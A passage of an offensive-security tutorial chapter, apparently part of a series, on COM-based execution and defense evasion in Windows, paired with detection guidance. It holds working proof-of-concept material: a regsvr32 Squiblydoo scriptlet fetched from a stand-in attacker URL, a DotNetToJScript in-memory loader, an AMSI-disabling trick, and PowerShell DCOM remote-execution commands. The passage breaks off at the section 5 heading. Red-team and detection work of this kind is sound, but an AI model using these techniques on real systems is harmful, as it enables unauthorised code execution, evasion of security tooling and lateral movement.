[6] COM Object hijacking: the discreet way of persistence — G-Data (2014) — https://www.gdatasoftware.com/blog/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence
|
||||||
|
[7] Userland Persistence with Scheduled Tasks and COM Handler Hijacking — enigma0x3 (2016) — https://enigma0x3.net/2016/05/25/userland-persistence-with-scheduled-tasks-and-com-handler-hijacking/
|
||||||
|
[8] Get-ScheduledTaskComHandler.ps1 — enigma0x3 — https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Get-ScheduledTaskComHandler.ps1
|
||||||
|
[9] "Fileless" UAC Bypass Using eventvwr.exe and Registry Hijacking — enigma0x3 (2016) — https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/
|
||||||
|
[10] Persistence Part 2 – COM Hijacking — Dominic Chell / MDSec (2019) — https://www.mdsec.co.uk/2019/05/persistence-the-continued-or-prolonged-existence-of-something-part-2-com-hijacking/
|
||||||
|
[11] Proxying COM For Stable Hijacks — leoloobeek (2019) — https://adapt-and-attack.com/2019/08/29/proxying-com-for-stable-hijacks/
|
||||||
|
[12] COMProxy — leoloobeek — https://github.com/leoloobeek/COMProxy
|
||||||
|
[13] acCOMplice (COMHijackToolkit) — David Tulis / NCC Group (DerbyCon 9) — https://github.com/nccgroup/Accomplice
|
||||||
|
[14] COM-Hunter — @nickvourd + @S1ckB0y1337 — https://github.com/nickvourd/COM-Hunter
|
||||||
|
[15] Revisiting COM Hijacking — SpecterOps (2025) — https://specterops.io/blog/2025/05/28/revisiting-com-hijacking/
|
||||||
|
[16] New Abuse of the ClickOnce Technology: Part 2 — CrowdStrike (2025) — https://www.crowdstrike.com/en-us/blog/new-abuse-of-the-clickonce-technology-part-two/
|
||||||
|
[17] Hijacked and Hidden: New Backdoor and Persistence Technique — ReliaQuest (2025) — https://reliaquest.com/blog/threat-spotlight-hijacked-and-hidden-new-backdoor-and-persistence-technique/
|
||||||
|
[18] Turla's Unique Outlook Backdoor — ESET (2018) — https://www.welivesecurity.com/2018/08/22/turla-unique-outlook-backdoor/
|
||||||
|
[19] "Cyber Conflict" Decoy Document (Sednit/APT28) — Cisco Talos — https://blog.talosintelligence.com/cyber-conflict-decoy-document/
|
||||||
|
[20] UNC2529: Triple Double: Trifecta Phishing Campaign — FireEye/Mandiant (2021) — https://www.fireeye.com/blog/threat-research/2021/05/unc2529-triple-double-trifecta-phishing-campaign.html
|
||||||
|
[21] Beyond good ol' Run key, Part 84 — Hexacorn (2018) — https://hexacorn.com/blog/2018/04/24/beyond-good-ol-run-key-part-84/
|
||||||
|
[22] COM-Object-hijacking — 3gstudent — https://github.com/3gstudent/COM-Object-hijacking
|
||||||
|
[23] Use COM Object hijacking to maintain persistence: Hijack Outlook — 3gstudent — https://3gstudent.github.io/backup-3gstudent.github.io/Use-COM-Object-hijacking-to-maintain-persistence-Hijack-Outlook/
|
||||||
|
[24] COM Hijacking — HackTricks — https://hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/com-hijacking.html
|
||||||
|
[25] Persistence – COM Hijacking — pentestlab (2020) — https://pentestlab.blog/2020/05/20/persistence-com-hijacking/
|
||||||
|
[26] oleviewdotnet — James Forshaw — https://github.com/tyranid/oleviewdotnet
|
||||||
|
[27] SharpDllProxy — Flangvik — https://github.com/Flangvik/SharpDllProxy
|
||||||
|
[28] UACME — hfiref0x — https://github.com/hfiref0x/UACME
|
||||||
|
[29] Atomic Red Team T1546.015 — Red Canary — https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1546.015/T1546.015.md
|
||||||
|
[30] EVTX-ATTACK-SAMPLES — sbousseaden — https://github.com/sbousseaden/EVTX-ATTACK-SAMPLES
|
||||||
|
[31] registry_set_persistence_com_key_linking.yml — SigmaHQ — https://github.com/SigmaHQ/sigma/blob/master/rules/windows/registry/registry_set/registry_set_persistence_com_key_linking.yml
|
||||||
|
[32] registry_set_treatas_persistence.yml — SigmaHQ — https://github.com/SigmaHQ/sigma/blob/master/rules/windows/registry/registry_set/registry_set_treatas_persistence.yml
|
||||||
|
[33] SigmaHQ registry_set rules directory — SigmaHQ — https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/
|
||||||
|
[34] persistence_suspicious_com_hijack_registry.toml — Elastic — https://github.com/elastic/detection-rules/blob/main/rules/windows/persistence_suspicious_com_hijack_registry.toml
|
||||||
|
[35] COM Objects Hijacking — VirusTotal (2024) — https://blog.virustotal.com/2024/03/com-objects-hijacking.html
|
||||||
|
[36] Eventvwr UAC Bypass — Splunk — https://research.splunk.com/endpoint/9cf8fe08-7ad8-11eb-9819-acde48001122/
|
||||||
|
[37] APT28 (G0007) — MITRE ATT&CK — https://attack.mitre.org/groups/G0007/
|
||||||
|
[38] ComRAT (S0126) — MITRE ATT&CK — https://attack.mitre.org/software/S0126/
|
||||||
|
[39] Registration-Free COM Interop — Microsoft — https://learn.microsoft.com/en-us/dotnet/framework/deployment/registration-free-com-interop
|
||||||
@@ -0,0 +1,794 @@
|
|||||||
|
# 06 · COM for Execution & Defense Evasion
|
||||||
|
|
||||||
|
> **Audience / level:** Red team operators and detection engineers; ramps from "what is application whitelisting" to type-confusion into Protected Process Light and NTLM relay chains. **Prerequisites:** basic Windows administration (registry, services, event logs), PowerShell literacy; the COM activation and DCOM chapters of this series are helpful but not required. **Estimated reading time:** 90–120 minutes.
|
||||||
|
> After this chapter you will be able to run and detect six families of COM-based execution/evasion techniques — scriptlets, serialized .NET delegates, abusable COM objects, type-confusion PPL injection, trapped COM objects, and DCOM-triggered NTLM relay — and enumerate new primitives of each class yourself.
|
||||||
|
|
||||||
|
**Contents**
|
||||||
|
- [1. Why Signed Binaries and COM Defeat Application Whitelisting](#1-why-signed-binaries-and-com-defeat-application-whitelisting)
|
||||||
|
- [2. Squiblydoo: regsvr32 and COM Scriptlets](#2-squiblydoo-regsvr32-and-com-scriptlets)
|
||||||
|
- [3. DotNetToJScript: Managed Code Inside the Windows Script Host](#3-dotnettojscript-managed-code-inside-the-windows-script-host)
|
||||||
|
- [4. LOLBIN-Style COM Execution Objects](#4-lolbin-style-com-execution-objects)
|
||||||
|
- [5. PPL Injection via COM Type Confusion](#5-ppl-injection-via-com-type-confusion)
|
||||||
|
- [6. Trapped COM Objects: Fileless Execution Inside PPL](#6-trapped-com-objects-fileless-execution-inside-ppl)
|
||||||
|
- [7. DCOM and NTLM Relay Chains](#7-dcom-and-ntlm-relay-chains)
|
||||||
|
- [8. Detection Engineering](#8-detection-engineering)
|
||||||
|
- [9. MITRE ATT&CK Mapping](#9-mitre-attck-mapping)
|
||||||
|
- [Research Lab: New Execution & Evasion Primitives](#research-lab-new-execution--evasion-primitives)
|
||||||
|
- [References](#references)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. Why Signed Binaries and COM Defeat Application Whitelisting
|
||||||
|
|
||||||
|
Application whitelisting (AWL) — AppLocker or WDAC policy that decides what may run based on publisher signature, path, or hash — trusts Microsoft-signed binaries by default. COM gives an attacker a way to spend that trust: it lets a signed Microsoft binary load an interpreter, instantiate an object, or deserialize a payload that the *caller* chooses. The policy engine sees a chain of signed Microsoft code; the attacker sees arbitrary execution. Every technique in this chapter is a variation on that single idea.
|
||||||
|
|
||||||
|
> **Beginner note:** **Application whitelisting (AWL)** is a defensive control that inverts the default execution model: instead of blocking known-bad code, it allows only known-good code (typically "anything signed by Microsoft"). Its blind spot is that "signed by Microsoft" describes *who built the binary*, not *what the binary will do when COM tells it what to load*.
|
||||||
|
|
||||||
|
> **Beginner note:** A **LOLBIN** ("living off the land" binary) is a signed, pre-installed Microsoft binary whose legitimate functionality can be repurposed for attacker execution — ATT&CK calls this *System Binary Proxy Execution*. `regsvr32.exe`, `mshta.exe`, `wscript.exe`, `rundll32.exe`, and the script-hosting DLLs are the classic set.
|
||||||
|
|
||||||
|
The canonical execution chain looks like this: `regsvr32.exe` (signed) loads `scrobj.dll` (signed), which parses an attacker-supplied XML file and compiles its embedded script with `jscript.dll` or `vbscript.dll` (both signed). Every module in the chain passes signature policy; no executable of the attacker's ever touches disk. Section 2 builds this chain step by step.
|
||||||
|
|
||||||
|
#### The scriptlet: a COM class written in XML
|
||||||
|
|
||||||
|
A **COM scriptlet** (`.sct`) is a Windows Script Component: an XML file that *declares a COM class* — with a `progid` and a `classid` — and implements it in embedded JScript or VBScript. `scrobj.dll` is the Microsoft-signed runtime that parses the XML, registers the class, and hosts the script engines that run its code. The `.sct` format is shared with `.wsc` files and with the `script:` moniker used in TypeLib-hijack persistence (the `T1546.015` family); the scriptlet is therefore both an execution primitive and a file format that several other techniques reuse ([1]).
|
||||||
|
|
||||||
|
#### Where the defenders look: AMSI and ETW hooks
|
||||||
|
|
||||||
|
> **Beginner note:** **AMSI** (Antimalware Scan Interface) is the Windows API through which a scripting engine hands content to the installed antivirus *before executing it*. **ETW** (Event Tracing for Windows) is the kernel-integrated telemetry bus; security products subscribe to providers such as `Microsoft-Windows-Threat-Intelligence` to observe behavior (memory operations, image loads, RPC calls) rather than content.
|
||||||
|
|
||||||
|
AMSI is wired into the exact interpreters COM abuses: the JScript and VBScript engines, Windows Script Host (WSH), PowerShell, VBA (2018), WMI, .NET Framework 4.8+ (which scans `Assembly.Load(byte[])` as of April 2019), and even UAC (`Microsoft-Antimalware-UacScan`, ETW event 1201) ([3]). Because `scrobj.dll` hosts the WSH engines, **scriptlet content is AMSI-scanned**; each `CreateObject`'d script block is scanned again. Two boundary conditions matter for tradecraft:
|
||||||
|
|
||||||
|
- The **network fetch is not scanned** — AMSI sees the script when it executes, not when `regsvr32` downloads it. Egress monitoring, not AMSI, is the control for the fetch.
|
||||||
|
- **DotNetToJScript defaults to CLR v2**, which has no AMSI hook; only CLR v4 output is scanned (section 3). In June 2018 Microsoft shipped AMSI signatures for default DotNetToJScript/SharpShooter output — a signature control, trivially evaded by changing the template, which Forshaw demonstrated by neutering AMSI in WSH entirely ([4]).
|
||||||
|
|
||||||
|
The residual telemetry when content scanning fails is ETW: `Microsoft-Windows-DotNETRuntime` (`{e13c0d23-ccbc-4e12-931b-d9cc2eee27e4}`) reports assembly loads and JIT compilation inside `wscript.exe`/`dllhost.exe`, and `Microsoft-Windows-Threat-Intelligence` (`{f4e1897c-bb5d-5668-f1d8-040f4d8dd344}` — consumers must run as PPL) observes injection-style memory behavior. The full provider table is in section 8.
|
||||||
|
|
||||||
|
The visibility matrix below is the mental model for the whole chapter — each technique is positioned by *which hooks it trips*:
|
||||||
|
|
||||||
|
| Stage | AMSI | Primary residual telemetry |
|
||||||
|
|---|---|---|
|
||||||
|
| Scriptlet content (Squiblydoo) | Yes — `AmsiScanBuffer` in jscript/vbscript; second scan per `CreateObject`'d block | Sysmon 1/3/7/11/22, Sigma Squiblydoo rules |
|
||||||
|
| .NET payload via COM (DotNetToJScript) | Conditional — CLR 4.8+ scans in-memory `Assembly.Load`; CLR 2.0 has no hook | DotNETRuntime ETW; Sysmon 7 (`clr.dll`/`clrjit.dll` in script hosts) |
|
||||||
|
| PowerShell DCOM one-liners | Fully scanned (script-block logging, event 4104) | 4104 content, process lineage |
|
||||||
|
| Type-confusion / trapped-COM native stages | No direct AMSI — registry + RPC + reflection only | Registry (Sysmon 12/13/14), RPC ETW, Threat-Intelligence ETW |
|
||||||
|
|
||||||
|
> **Key idea:** Defense evasion with COM is the art of moving execution into a context where the visibility hooks are absent or already satisfied — signed interpreters for AWL, CLR v2 for AMSI, and pure registry/RPC/reflection paths (sections 5-6) where there is no script content to scan at all.
|
||||||
|
|
||||||
|
> **Legal:** Every technique below executes code or coerces authentication on systems. Run the PoCs only in your own lab VMs or inside an authorized engagement with written scope.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 2. Squiblydoo: regsvr32 and COM Scriptlets
|
||||||
|
|
||||||
|
### Squiblydoo (signed regsvr32 proxy execution of COM scriptlets)
|
||||||
|
|
||||||
|
**MITRE:** [T1218.010](https://attack.mitre.org/techniques/T1218/010/) · **Since:** April 2016, Casey Smith (@subTee) ([1]) · **Affects:** all Windows builds shipping `scrobj.dll` (WSH); scriptlet content AMSI-scanned on modern builds; blocked inside protected processes since Windows 10 1803 (section 5)
|
||||||
|
|
||||||
|
Squiblydoo is the original COM-scriptlet whitelisting bypass. Casey Smith showed that `regsvr32.exe /i:` passes an arbitrary string to `DllInstall`, and that the signed `scrobj.dll` will treat that string as a *location* — a URL, local path, or UNC path — from which to fetch and parse a COM scriptlet ([1]). The technique was adopted almost immediately in the wild: Leviathan/APT40, APT19, Deep Panda, TA551 (Valak), QakBot/Emotet/Dridex, the Koadic and Covenant frameworks, and Metasploit's `web_delivery` module all used it ([43]).
|
||||||
|
|
||||||
|

|
||||||
|
*How to read this figure: follow the chain left to right — each box is a Microsoft-signed module, the dashed edge is the untrusted input (the .sct URL), and the shield marks where AMSI inspects the script text before execution. Note the annotations: no registry writes, no attacker binary on disk.*
|
||||||
|
|
||||||
|
#### Mechanics
|
||||||
|
|
||||||
|
1. Operator hosts a scriptlet at a URL (or a local/UNC path — `/i:` accepts all three) ([1]).
|
||||||
|
2. Victim-side execution: `regsvr32.exe /s /n /u /i:https://attacker/payload.sct scrobj.dll`. The switch combination routes execution into `scrobj.dll`'s install path (`DllInstall`) with the URL as its string argument; the `/u` + `/i:` form performs an *unregister* action, which means **no registry writes and no administrative rights are required** ([1]).
|
||||||
|
3. `scrobj.dll` downloads the XML (regsvr32 is proxy-aware — it uses WinHTTP, so the fetch works through authenticated corporate proxies) and parses the `<registration>` element as a class declaration with `progid` and `classid` ([1]).
|
||||||
|
4. Because the request is an *unregistration*, the script inside the class runs immediately as the class is torn down; `scrobj.dll` compiles the embedded JScript/VBScript with the WSH engines ([1]).
|
||||||
|
5. `scrobj.dll` hosts the AMSI-enabled script engines, so the scriptlet content is submitted to `AmsiScanBuffer` before execution — and each block later instantiated via `CreateObject` is scanned again ([3]).
|
||||||
|
6. The payload body (e.g., `new ActiveXObject("WScript.Shell").Run(...)`) executes in the `regsvr32.exe` process with the caller's privileges.
|
||||||
|
|
||||||
|
#### Prerequisites
|
||||||
|
|
||||||
|
| Requirement | Detail |
|
||||||
|
|---|---|
|
||||||
|
| Privileges | None beyond a standard user (the `/u` + `/i:` form needs no admin and writes no registry) |
|
||||||
|
| OS/build | Any Windows with WSH/`scrobj.dll`; on Windows 10 1803+ the same DLLs are blocked *inside protected processes* (CI.DLL mitigation, section 5) |
|
||||||
|
| Config | Outbound HTTP/S from the victim for the URL-hosted form; proxy environments are fine (WinHTTP, proxy-aware) |
|
||||||
|
| Evasion posture | Default scriptlet content is AMSI-scanned; default templates are signatured — customize the body |
|
||||||
|
|
||||||
|
#### Proof of concept
|
||||||
|
|
||||||
|
`payload.sct` (after Smith's original `Backdoor.sct` gist ([2])):
|
||||||
|
|
||||||
|
```xml
|
||||||
|
<?XML version="1.0"?>
|
||||||
|
<scriptlet>
|
||||||
|
<registration progid="TESTING" classid="{A1112221-0000-0000-3000-000DA00DABFC}">
|
||||||
|
<script language="JScript"><![CDATA[
|
||||||
|
var foo = new ActiveXObject("WScript.Shell").Run("calc.exe");
|
||||||
|
]]></script>
|
||||||
|
</registration>
|
||||||
|
</scriptlet>
|
||||||
|
```
|
||||||
|
|
||||||
|
Local, URL-hosted, and UNC invocation:
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
regsvr32.exe /s /n /u /i:https://attacker/payload.sct scrobj.dll # URL form (canonical)
|
||||||
|
regsvr32.exe /s /n /u /i:C:\labs\payload.sct scrobj.dll # local path
|
||||||
|
regsvr32.exe /s /n /u /i:\\fileshare\payload.sct scrobj.dll # UNC path
|
||||||
|
```
|
||||||
|
|
||||||
|
#### OpSec & detection
|
||||||
|
|
||||||
|
- **Sysmon EID 1 / Security 4688:** `regsvr32.exe` command line containing `/i:` together with `scrobj.dll`, especially with a URL — near-signature fidelity. Sigma ships `proc_creation_win_regsvr32_squiblydoo.yml`; MITRE CAR-2019-04-003 covers the same behavior ([41],[44]).
|
||||||
|
- **Sysmon EID 3:** `regsvr32.exe` making outbound HTTP/S connections is a near-zero-false-positive network indicator; **EID 22** catches the DNS lookup for the scriptlet host.
|
||||||
|
- **Sysmon EID 7:** `scrobj.dll` loaded into `regsvr32.exe`; **EID 11:** `.sct` files dropped to disk (URL form leaves no such artifact).
|
||||||
|
- **AMSI:** the executed script content is scanned (the download is not); default Squiblydoo/SharpShooter-era templates are signatured since June 2018 ([3]).
|
||||||
|
- **Noise reduction:** host the scriptlet on infrastructure that blends with normal software-delivery traffic and customize the XML body; expect the process and network indicators — not the content — to be what survives content-signature evasion.
|
||||||
|
|
||||||
|
#### Mitigations
|
||||||
|
|
||||||
|
- AppLocker/WDAC rules that block `scrobj.dll` script execution (script and DLL rules); the oddvar.moe AppLocker case study walks the policy construction ([19]).
|
||||||
|
- Alert on the command-line and network indicators above rather than on content; treat any `regsvr32` network egress as hostile by default.
|
||||||
|
- Where script hosts are not needed, disable WSH; ensure AMSI is enabled and that no `amsi.dll` shadowing is possible (section 3, Forshaw's bypass ([4])).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 3. DotNetToJScript: Managed Code Inside the Windows Script Host
|
||||||
|
|
||||||
|
### DotNetToJScript (deserialize a .NET delegate inside JScript/VBScript via COM)
|
||||||
|
|
||||||
|
**MITRE:** [T1559.001](https://attack.mitre.org/techniques/T1559/001/) (with [T1620](https://attack.mitre.org/techniques/T1620/) for the in-memory `Assembly.Load`) · **Since:** 2017, James Forshaw ([5]) · **Affects:** .NET Framework — CLR v2 by default (no AMSI); CLR v4 output is AMSI-scanned; default templates signatured since June 2018
|
||||||
|
|
||||||
|
DotNetToJScript takes a managed assembly and emits a JScript, VBScript, or HTA file that reconstructs it **entirely in memory** — no `.exe` or `.dll` ever touches disk. It is the engine inside SharpShooter, CACTUSTORCH, GreatSCT, and SuperSharpShooter, and it was the payload-delivery mechanism in enigma0x3's Outlook `CreateObject` DCOM lateral-movement technique of November 2017 ([5],[6],[10]). The trick that makes it work is that large parts of `mscorlib` are **COM-visible**: the script can instantiate the .NET BinaryFormatter itself through `ActiveXObject`.
|
||||||
|
|
||||||
|
#### Mechanics
|
||||||
|
|
||||||
|
1. **Build a bound delegate.** The tool creates `Delegate.CreateDelegate(typeof(XmlValueGetter), assemblyBytes, Assembly.Load(byte[]))` — a delegate that calls `Assembly.Load` with the payload bytes already bound as its argument ([5]).
|
||||||
|
2. **Wrap for COM invocation.** The bound delegate is wrapped in a COM-invocable `HeaderHandler` delegate (an abuse of delegate contra-variance) so it can later be fired with `DynamicInvoke` from a late-bound COM call ([5]).
|
||||||
|
3. **Serialize.** The delegate graph is serialized with `BinaryFormatter` and Base64-encoded into a JScript/VBScript/HTA template, together with an `entry_class` name (default `TestClass`) ([5]).
|
||||||
|
4. **Runtime: COM from script.** The script instantiates COM-visible `mscorlib` classes through their ProgIDs via `ActiveXObject` — `System.Runtime.Serialization.Formatters.Binary.BinaryFormatter`, `System.Collections.ArrayList`, `System.Text.ASCIIEncoding`, `System.Security.Cryptography.FromBase64Transform` — to rebuild the byte stream ([5]).
|
||||||
|
5. **Deserialize and invoke.** `Deserialize_2` rehydrates the delegate; `DynamicInvoke` fires `Assembly.Load(byte[])`; `CreateInstance(entry_class)` runs the payload class constructor — arbitrary managed code inside the script-host process ([5]):
|
||||||
|
|
||||||
|
```js
|
||||||
|
var fmt = new ActiveXObject("System.Runtime.Serialization.Formatters.Binary.BinaryFormatter");
|
||||||
|
var d = fmt.Deserialize_2(stm);
|
||||||
|
var o = d.DynamicInvoke(al.ToArray()) // -> Assembly.Load(byte[])
|
||||||
|
.CreateInstance(entry_class); // constructor runs
|
||||||
|
```
|
||||||
|
|
||||||
|
6. **Result:** a fully managed payload running inside signed `wscript.exe`/`cscript.exe`/HTA — the "no managed assembly on disk" property that made it the standard first-stage loader of 2018-era tradecraft ([5],[6]).
|
||||||
|
|
||||||
|
#### Prerequisites
|
||||||
|
|
||||||
|
| Requirement | Detail |
|
||||||
|
|---|---|
|
||||||
|
| Privileges | Standard user |
|
||||||
|
| OS/build | .NET Framework installed; tool output defaults to CLR v2 — on hosts with only v4, regenerate for v4 (AMSI-scanned) |
|
||||||
|
| Config | WSH enabled; script content subject to AMSI on modern builds |
|
||||||
|
| Evasion posture | Default templates signatured since June 2018 — mutate the template; CLR v2 has no AMSI hook ([4]) |
|
||||||
|
|
||||||
|
#### Proof of concept
|
||||||
|
|
||||||
|
Generate a script from any .NET assembly (tool options select JScript, VBScript, or HTA output and the entry class), then execute with the script host. The runtime core is the snippet in step 5; a minimal delivery loop:
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
# 1. Build payload.dll exposing public class TestClass with a payload constructor.
|
||||||
|
# 2. Run DotNetToJScript against it to produce payload.js (JScript template).
|
||||||
|
# 3. Execute in the signed script host:
|
||||||
|
wscript.exe payload.js
|
||||||
|
```
|
||||||
|
|
||||||
|
The generated `payload.js` contains the Base64 `BinaryFormatter` blob and the COM-visible `mscorlib` instantiation chain shown in step 5 — no other files are required.
|
||||||
|
|
||||||
|
#### OpSec & detection
|
||||||
|
|
||||||
|
- **AMSI:** script content scanned; default DotNetToJScript/SharpShooter output signatured since June 2018. Forshaw's counter — "Disabling AMSI in JScript with One Simple Trick" — copies `wscript.exe` to a file named `amsi.dll`; `LoadLibraryEx("amsi.dll")` then returns the already-loaded EXE image, `AmsiInitialize` fails, and WSH runs unscanned ([4]).
|
||||||
|
- **CLR-version gap:** v2 output carries no AMSI visibility at all; v4 output is scanned at `Assembly.Load` (4.8+, April 2019) ([3]).
|
||||||
|
- **ETW residual:** `Microsoft-Windows-DotNETRuntime` (`{e13c0d23-ccbc-4e12-931b-d9cc2eee27e4}`) assembly-load/JIT events inside `wscript.exe`/`dllhost.exe` reveal managed code in script hosts regardless of AMSI.
|
||||||
|
- **Sysmon EID 7:** `clr.dll`, `clrjit.dll`, or `mscoree.dll` loading into `wscript.exe`/`cscript.exe` (also `dllhost.exe`, `svchost.exe`, `mmc.exe`, `explorer.exe` for the section 4 and 6 techniques) is the highest-fidelity image-load indicator; see the KQL query in section 8.
|
||||||
|
|
||||||
|
#### Mitigations
|
||||||
|
|
||||||
|
- Do not rely on AMSI signatures alone — they bind to the default template; layer image-load and ETW detection.
|
||||||
|
- Constrain WSH (AppLocker script rules), and alert on CLR loads inside script hosts.
|
||||||
|
- Treat `wscript.exe` copies/renames (the `amsi.dll` shadow trick) as a detection opportunity in file and process telemetry.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 4. LOLBIN-Style COM Execution Objects
|
||||||
|
|
||||||
|
### Abusable COM execution objects (local and remote command execution through registered classes)
|
||||||
|
|
||||||
|
**MITRE:** [T1559.001](https://attack.mitre.org/techniques/T1559/001/) (local) + [T1021.003](https://attack.mitre.org/techniques/T1021/003/) (remote) · **Since:** enigma0x3, 2017 ([7]); bohops, 2018 ([11]) · **Affects:** object-dependent — see table; remote use requires administrator-level Launch/Activation rights by default
|
||||||
|
|
||||||
|
Windows ships with COM classes whose methods *are* command execution: `ExecuteShellCommand`, `ShellExecute`, `DDEInitiate`, `Navigate2`. Instantiating the class and calling the method is execution through entirely signed, whitelisted software — the "LOLCOM" idea. One accuracy point up front: **no curated "LOLCOM" project exists** (unlike LOLBAS for binaries). The working canon is the research corpus: enigma0x3's 2017 series ([7],[8],[9],[10]), bohops 2018 ([11],[12]), Tsukerman/Cybereason 2018-19 ([13],[14]), rvrsh3ll's Invoke-DCOM.ps1 ([15]), FireEye's two-part "Hunting COM Objects" (June 2019) ([17]), Axel Boesenach's hackdefense enumeration paper ([18]), and rasta-mouse's CsDCOM/CheeseDCOM tooling.
|
||||||
|
|
||||||
|
The verified object set:
|
||||||
|
|
||||||
|
| Object | CLSID/ProgID | Method | Host | Notes |
|
||||||
|
|---|---|---|---|---|
|
||||||
|
| MMC20.Application | `{49B2791A-B1AE-4C90-9B8E-E860BA07F889}` | `Document.ActiveView.ExecuteShellCommand(cmd,dir,params,"7")` | `mmc.exe -Embedding` | local+remote; admin required (AppID launch perms) |
|
||||||
|
| ShellWindows | `{9BA05972-F6A8-11CF-A442-00A0C90A8F39}` | `Document.Application.ShellExecute(...)`; Navigate/Navigate2 | existing explorer.exe window (medium IL) | usable from medium IL locally — code runs inside explorer.exe |
|
||||||
|
| ShellBrowserWindow | `{C08AFD90-F2A1-11D1-8455-00A0C91F3880}` | same | new explorer.exe if no window | local medium-IL exec; remote needs admin |
|
||||||
|
| ExcelDDE | ProgID Excel.Application (`{00024500-0000-0000-C000-000000000046}`) | `DDEInitiate("cmd","/c ...")` | EXCEL.EXE | no malicious doc needed; needs Office |
|
||||||
|
| Excel variants | same | `RegisterXLL`, `ExecuteExcel4Macro` (XLM) | EXCEL.EXE | enigma0x3 Sep 2017 ([9]) |
|
||||||
|
| InternetExplorer.Application | `{0002DF01-0000-0000-C000-000000000046}` | Navigate2 to UNC/local exe | iexplore.exe | IE prompts limit reliability |
|
||||||
|
| htafile (LethalHTA) | ProgID htafile | remote instantiation → mshta fetches .hta | mshta.exe | codewhitesec Jul 2018 ([16]) |
|
||||||
|
| Outlook.Application | ProgID | `CreateObject("Wscript.Shell")` + DotNetToJScript | OUTLOOK.EXE | enigma0x3 Nov 2017 ([10]) |
|
||||||
|
| Utility objects | ProgIDs | `WScript.Shell.Run`, `Shell.Application.ShellExecute`, `Schedule.Service`, `WbemScripting.SWbemLocator` | various | standard local exec primitives |
|
||||||
|
| Visio.Application | ProgID | macro-less exec paths | VISIO.EXE | Tsukerman/CheeseDCOM lists ([13]) |
|
||||||
|
|
||||||
|
#### Mechanics
|
||||||
|
|
||||||
|
1. Pick an object whose method reaches execution and whose hosting model fits the goal: new process (`mmc.exe -Embedding`, `dllhost.exe /Processid:{CLSID}`, `EXCEL.EXE /automation -Embedding`) or an existing medium-IL `explorer.exe` window (ShellWindows).
|
||||||
|
2. Instantiate — locally via `CoCreateInstance`/PowerShell interop, remotely via `CoCreateInstanceEx` (`GetTypeFromCLSID(clsid, target)`).
|
||||||
|
3. Call the execution method with the command line.
|
||||||
|
4. The *server process*, not the client, spawns the payload — which is both the evasion property (parent is a signed Microsoft binary) and the detection anchor (that parent-child pair is anomalous).
|
||||||
|
|
||||||
|
#### Prerequisites
|
||||||
|
|
||||||
|
| Requirement | Detail |
|
||||||
|
|---|---|
|
||||||
|
| Privileges | Local: medium IL suffices for ShellWindows/ShellBrowserWindow; MMC20 requires admin (AppID launch permissions). Remote: admin-tier Launch/Activation rights (default Administrators) |
|
||||||
|
| OS/build | Object-dependent; Excel/Visio paths need Office installed |
|
||||||
|
| Config | Remote: NTLM/Kerberos to 135 + dynamic RPC ports; DCOM hardening (KB5004442) compatible with legitimate tooling |
|
||||||
|
| Evasion posture | PowerShell instantiation is fully AMSI/script-block logged — prefer compiled tooling for quiet runs |
|
||||||
|
|
||||||
|
#### Proof of concept
|
||||||
|
|
||||||
|
The standard PowerShell idiom (this is also the exact string set defenders should detect) ([15]):
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
$com = [Type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","target")
|
||||||
|
$obj = [System.Activator]::CreateInstance($com)
|
||||||
|
$obj.Document.Application.ShellExecute("cmd.exe","/c calc","c:\windows\system32",$null,0)
|
||||||
|
# MMC20: $obj.Document.ActiveView.ExecuteShellCommand($cmd,$null,$null,"7")
|
||||||
|
# ExcelDDE: $obj.DDEInitiate("cmd","/c calc")
|
||||||
|
```
|
||||||
|
|
||||||
|
Tooling for operators: Invoke-DCOM.ps1 (rvrsh3ll) ([15]); impacket `dcomexec.py` (`-object MMC20|ShellWindows|ShellBrowserWindow`, semi-interactive, returns output via a temp file over `ADMIN$`) ([35]); CrackMapExec `dcom`; rasta-mouse's CsDCOM/CheeseDCOM for C# operators.
|
||||||
|
|
||||||
|
#### OpSec & detection
|
||||||
|
|
||||||
|
- **Lineage is the anchor:** `mmc.exe -Embedding`, `dllhost.exe /Processid:{CLSID}`, `EXCEL.EXE /automation -Embedding`, or `explorer.exe` spawning `cmd.exe`/`powershell.exe` — Sigma `proc_creation_win_mmc_mmc20_lateral_movement.yml` (rule id `f1f3bf22-deb2-418d-8cce-e1a45e46a5bd`) and Splunk's "Mmc LOLBAS Execution Process Spawn" cover the MMC case ([41],[45]).
|
||||||
|
- **PowerShell 4104 script-block logging** catches the idiom verbatim: `GetTypeFromCLSID`, `GetTypeFromProgID`, `Activator]::CreateInstance`, `ExecuteShellCommand`, `ShellExecute`, `DDEInitiate` (Splunk "Remote Process Instantiation via DCOM and PowerShell Script Block") ([45]).
|
||||||
|
- **Remote use** adds network indicators: workstation-to-workstation TCP/135 + dynamic ports, Security 4624 Type 3 NTLM logons, and DcomLaunch-spawned servers (section 8).
|
||||||
|
- **Noise reduction:** prefer objects hosted in already-running processes (ShellWindows inside explorer) to avoid a new-service-process event; expect the AppID/CLSID registry reads and outbound callbacks regardless.
|
||||||
|
|
||||||
|
#### Mitigations
|
||||||
|
|
||||||
|
- Inventory legitimate DCOM (SCCM, backup, OPC, AV management) and deny the rest via `dcomcnfg` AppID Launch ACLs — MMC20 and the Office CLSIDs first.
|
||||||
|
- Block workstation-to-workstation 135/dynamic RPC at the network layer; AppLocker/Office ASR rules for the Office objects.
|
||||||
|
- Collect and alert on the lineage pairs and script-block strings above; treat `dllhost.exe /Processid:` anomalies as high priority.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 5. PPL Injection via COM Type Confusion
|
||||||
|
|
||||||
|
### Type-library substitution into PPL (Forshaw 2018, Parts 1-2, and IRundown::DoCallback)
|
||||||
|
|
||||||
|
